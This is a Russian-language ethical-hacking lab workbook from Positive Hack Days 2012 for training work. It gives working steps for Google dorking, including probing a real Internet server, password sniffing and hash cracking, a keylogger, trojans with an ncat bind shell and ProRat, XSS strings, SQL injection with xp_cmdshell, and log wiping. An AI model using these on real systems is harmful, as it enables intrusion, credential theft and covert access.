Download - Этичный хакинг
Positive Hack Days 2012 Сергей Клевогин
1
Этичный хакинг. Рабочая тетрадь.
Практическая работа 0. Методология СЕН.
Убедиться, что по методологии СЕН хакинг состоит из нескольких фаз:
1. Сбор данных
2. Сканирование и перечисление
3. Взлом системы и сервисов
4. Поддержка доступа
5. Скрытие следов
Для этого в Google набрать «Ethical Hacking Phases», перейти по первой же ссылке
http://hack-o-crack.blogspot.com/2010/12/five-stages-of-ethical-hacking.html
Посмотреть на текст.
Определить на какой фазе хакинга находится использование троянов, а на какой Metasploit.
Positive Hack Days 2012 Сергей Клевогин
2
Практическая работа 1. Сбор данных.
Задача 1.
Убедиться, что существует Google Hacking Data Base.
Для этого в Google набрать «GHDB», перейти по первой же ссылке
http://www.hackersforcharity.org/ghdb/
Просмотреть различные типы запросов, позволяющие обнаружить:
Бюллетени и уязвимости
Сообщения об ошибках
Файлы, содержащие интересную информацию
Файлы, содержащие пароли
Файлы, содержащие имена пользователей
Страницы-плацдармы
Страницы входа в порталы
Страницы, содержащие данные о сети или уязвимостях
Важные каталоги
Важная информация о покупках в Интернете
Различные онлайн устройства
Уязвимые файлы
Уязвимые серверы
Сведения о веб-сервере
Покликать по ссылкам, чтобы посмотреть примеры запросов каждого типа.
Перейти к сообщениям об ошибках:
http://www.hackersforcharity.org/ghdb/?function=summary&cat=10
Обнаружить последнюю запись в базе данных. Обратить внимание на дату записи.
Для интереса перейти по первой ссылке
http://www.hackersforcharity.org/ghdb/?function=detail&id=143
и поискать в Google « intitle:”Nessus Scan Report” “This file was generated by Nessus” »:
Обнаружить уже готовый отчет об уязвимостях Nessus.
Проверить, не притаился ли подобный отчет об уязвимостях на сайте вашей организации.
Positive Hack Days 2012 Сергей Клевогин
3
Задача 2.
Поискать более новую базу данных GHDB.
Для этого в Google набрать «GHDB 2012», перейти по первой же ссылкe
http://www.exploit-db.com/google-dorks/
Обратить внимание на последние записи «Latest Google Hacking Entries».
Сравнить различные типы запросов с предыдущим списком. Не найти отличий.
Снова покликать по ссылкам, чтобы посмотреть примеры запросов каждого типа.
Перейти к сообщениям об ошибках:
http://www.exploit-db.com/google-dorks/7/
Перейти по первой ссылке
http://www.exploit-db.com/ghdb/3785/
и поиcкать в Google «inurl:"*.php?*=*.php" intext:"Warning: include" -inurl:.html -site:"php.net" -
site:"stackoverflow.com" -inurl:"*forums*"»
Найти реальный сервер в Интернете с сообщением об ошибке. Заглянуть на главную страницу
сайта. Оценить приличность дизайна.
Проверить, нет ли страниц с подобной ошибкой на сайте вашей организации.
Positive Hack Days 2012 Сергей Клевогин
4
Задача 3.
Познакомиться с Search Diggity.
http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/
Скачать и установить SearchDiggity. Пока устанавливается почитать справку.
Запустить SearchDiggity, идентифицировать элементы интерфейса.
Следуя указаниям справки:
Создать API ключ. Завести аккаунт в Google, если его еще нет;
Создать Google Custom Search ID;
Выбрать сайт в окошке выбора сайта справа;
Запустить сканирование вашего сайта, выбрав запросы GHDB.
Добиться результата подобного этому:
Изучить другие возможности DiggitySearch.
Positive Hack Days 2012 Сергей Клевогин
5
Задача 4.
Выкачать сайты Cars и Brown себе на компьютер.
Для этого скачать и установить httrack.
После установки обнаружить на компьютере графический интерфейс WinHTTrack
и средство командной строки httrack .
Один сайт загрузите, используя WinHTTrack, другой с использованием httrack.
Чтобы посмотреть синтаксис httrack используем
httrack --help
Positive Hack Days 2012 Сергей Клевогин
6
Практическая работа 2. Сканирование и перечисление.
Задача 0.
Познакомиться с теорией сканирования.
Для этого:
познакомиться с RFC 791, 792, 793. ( http://www.rfc-editor.org/ )
Зайти на сайт nmap:
http://nmap.org/man/ru/man-port-scanning-techniques.html
Познакомиться с основными приемами сканирования портов.
Добавить ссылку в избранное, чтобы потом повторно перечитать.
Узнать, что такое перечисление и какое оно бывает.
Для этого запомнить, что бывает:
Перечисление NetBIOS
Перечисление SNMP
Перечисление UNIX
Перечисление LDAP
Перечисление NTP
Перечисление SMTP
Перечисление DNS
Positive Hack Days 2012 Сергей Клевогин
7
Задача 1. Просканировать сеть, обнаружить учебный веб-сервер.
Для этого скачать и установить nmap.
Изучить синтаксис nmap:
nmap --help
Запустить сканирование из интерфейса
командной строки:
nmap 192.168.1.0/25 -p80
Обнаружить системы с открытым 80 портом
Запустить сканирование из графического интерфейса и посмотреть результат.
Задача 2.
Обнаружить шлюз по умолчанию на целевой системе со включенным SNMP.
Для этого познакомиться с RFC1213, RFC 1157 и синтаксисом snmputil
Чтобы узнать шлюз нужно выполнить команду:
snmputil get CEH public .1.3.6.1.2.1.4.21.1.7.0.0.0.0
Positive Hack Days 2012 Сергей Клевогин
8
Практическая работа 3. Хакинг системы.
Задача 0.
Познакомиться с архитектурой операционной системы.
Для этого в Google набрать «Архитектура Windows» и кликнуть Картинки
Картинки обычно сопровождаются статьями с полезной информацией.
То же самое повторить с архитектурой Linux/Unix.
Сделать вывод,что система взаимодействует с внешним миром через:
драйверы, компоненты ядра (и даже прошивки оборудования);
сетевые сервисы;
клиентские приложения, которые обращаются на чужой сервер;
любые приложения, которые скачиваются и запускаются в системе (трояны).
Positive Hack Days 2012 Сергей Клевогин
9
Задача 1.
Подсмотреть пароль, передаваемый по сети.
Для этого скачать и установить Wireshark (http://www.wireshark.org )
Подключиться к любому серверу по любому незащищенному протоколу, требующему
аутентификацию.
Найти пароль в дампе Wireshark.
Если это пароль доменной учетной записи, то однажды подсмотренный через незащищенный
протокол, может быть использован через любой другой протокол.
Задача 2.
Подсмотреть все пароли, передаваемые по сети.
Скачать и установить Cain & Abel (http://www.oxid.it/cain.html )
Запустить сниффер.
Проявить сетевую активность, обратить внимание на захваченные пароли.
Positive Hack Days 2012 Сергей Клевогин
10
Задача 3.
Атаковать хэши паролей.
В Cain & Abel на вкладке Cracker импортировать хэши паролей с локального компьютера.
Провести атаку на пароли локальных пользователей по словарю и брут-форсом.
Positive Hack Days 2012 Сергей Клевогин
11
Задача 4. Использование кейлоггера.
Установить PuntoSwitcher (http://punto.yandex.ru )
Включить возможность ведения дневника.
Увидеть, как в дневнике отображаются пароли.
Positive Hack Days 2012 Сергей Клевогин
12
Практическая работа 4. Поддержка доступа.
Задача 1.
Создать трояна, открывающего shell.
Для этого используя MicroJoiner объединить игру Gamux.exe с
ncat -l 8888 –e cmd
После запуска игры к компьютеру можно подключиться из командной строки:
ncat 192.168.1.14 8888
Positive Hack Days 2012 Сергей Клевогин
13
Задача 2.
Создать трояна с помощью ProRat
Для этого скачать и запустить ProRat (http://www.prorat.net/downloads.php )
Сделать сервер, используя настройки по умолчанию и без уведомлений.
Запустить сервер, початиться с жертвой.
Positive Hack Days 2012 Сергей Клевогин
14
Практическая работа 5. Взлом веб-сервера посредством XSS
Задача 1.
Протестировать сайт Cars на возможность XSS.
Для этого попробовать добавить в Feedback сообщение:
hello <script>alert("PREVED")</script>
Задача 2.
Протестировать сайт Brown на возможность XSS.
Для этого попробовать добавить в Feedback сообщение:
hello <script>alert("PREVED")</script>
Positive Hack Days 2012 Сергей Клевогин
15
Практическая работа 6. Взлом посредством SQL - инъекции
Задача 0.
Познакомиться с теорией SQL инъекций.
Для этого можно использовать различные источники (http://ru.wikipedia.org/wiki )
Задача 1.
Обойти аутентификацию.
Для этого в форме ввода логина можно попробовать SQL инъекцию:
blah' or 1=1 --
Задача 2.
Идентифицировать число столбцов таблицы login_t базы данных Cars.
Для этого в форме ввода логина пробуем SQL инъекцию:
1' UNION SELECT 1,..,N ;-- и следим за логикой приложения
При инъекции 1' UNION SELECT 1,2,3 ;--
ответ приложения изменится, значит, сервер принял запрос и в таблице три поля.
Positive Hack Days 2012 Сергей Клевогин
16
Задача 3.
Создать пользователя в базе данных SQL.
Для этого будем пробовать различные SQL инъекции:
blah';insert into login_t values ('xaker','123');--
В случае успешной инъекции получится зайти в систему с новой учетной записью.
Задача 4.
Выполнить команду на сервере.
Потестируем возможности выполнения различных команд. Например,
'; exec master..xp_cmdshell 'ipconfig/all > C:\inetpub\wwwroot\brown\ipconfig.txt';--
В случае успеха результат команды будет доступен через URL
http://ceh/Brown/ipconfig.txt
Практическая работа 7. Скрытие следов.
Удалить все программы и временные файлы, почистить логи и ключи реестра.